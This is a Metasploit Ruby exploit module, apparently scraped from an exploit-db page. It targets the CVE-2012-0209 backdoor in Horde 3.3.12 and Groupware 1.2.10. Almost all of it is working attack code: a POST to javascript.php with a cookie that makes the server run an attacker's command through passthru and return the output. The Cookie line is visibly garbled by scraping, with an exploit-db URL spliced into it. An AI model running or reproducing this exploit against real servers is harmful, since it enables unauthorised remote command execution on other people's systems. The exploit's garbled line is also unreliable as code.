|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103  |  ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  def initialize(info = {})  super(update_info(info,  'Name' => 'Horde 3.3.12 Backdoor Arbitrary PHP Code Execution',  'Description'=> %q{  This module exploits an arbitrary PHP code execution vulnerability introduced  as a backdoor into Horde 3.3.12 and Horde Groupware 1.2.10.  },  'Author' => [  'Eric Romang',# first public PoC  'jduck' # Metasploit module  ],  'License'=> MSF_LICENSE,  'References' =>  [  [ 'CVE', '2012-0209'],  [ 'URL', 'http://dev.horde.org/h/jonah/stories/view.php?channel_id=1&id=155' ],  [ 'URL', 'http://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/' ]  ],  'Privileged' => false,  'Payload'=>  {  'BadChars' => "\x0a\x0d",  'DisableNops' => true,  'Space' => 4096,  'Compat'=>  {  'PayloadType' => 'cmd',  }  },  'Platform' => [ 'unix', 'linux' ],  'Arch' => ARCH_CMD,  'DefaultTarget'=> 0,  'Targets'=> [[ 'Automatic', { }]],  'DisclosureDate' => 'Feb 13 2012'  ))  register_options(  [  OptString.new('URI', [true, "Path to Horde installation", "/horde"]),  OptString.new('APP', [true, "App parameter required by javascript.php (must be active)", "horde"]),  ], self.class)  end  def exploit  # Make sure the URI begins with a slash  uri = datastore['URI']  if uri[0,1] != '/'  uri = '/' + uri  end  # Make sure the URI ends without a slash, because it's already part of the URI  if uri[-1, 1] == '/'  uri = uri[0, uri.length-1]  end  function = "passthru"  key = Rex::Text.rand_text_alpha(6)  arguments = "echo #{key}<code>"+payload.raw+"</code>#{key}"  res = send_request_cgi({  'uri' => uri + "/services/javascript.php",  'method'=> 'POST',  'ctype' => 'application/x-www-form-urlencoded',  'data'=> "app="+datastore['APP']+"&file=open_calendar.js",  'headers' =>  {  'Cookie' => "href="https://www.exploit-db.com/exploits/18492/+function+":"+arguments,  'Connection' => 'Close',  }  }) #default timeout, we don't care about the response  if (res)  print_status("The server returned: #{res.code} #{res.message}")  end  resp = res.body.split(key)  if resp and resp[1]  print_status(resp[1])  else  print_error("No response found")  end  handler  end end  |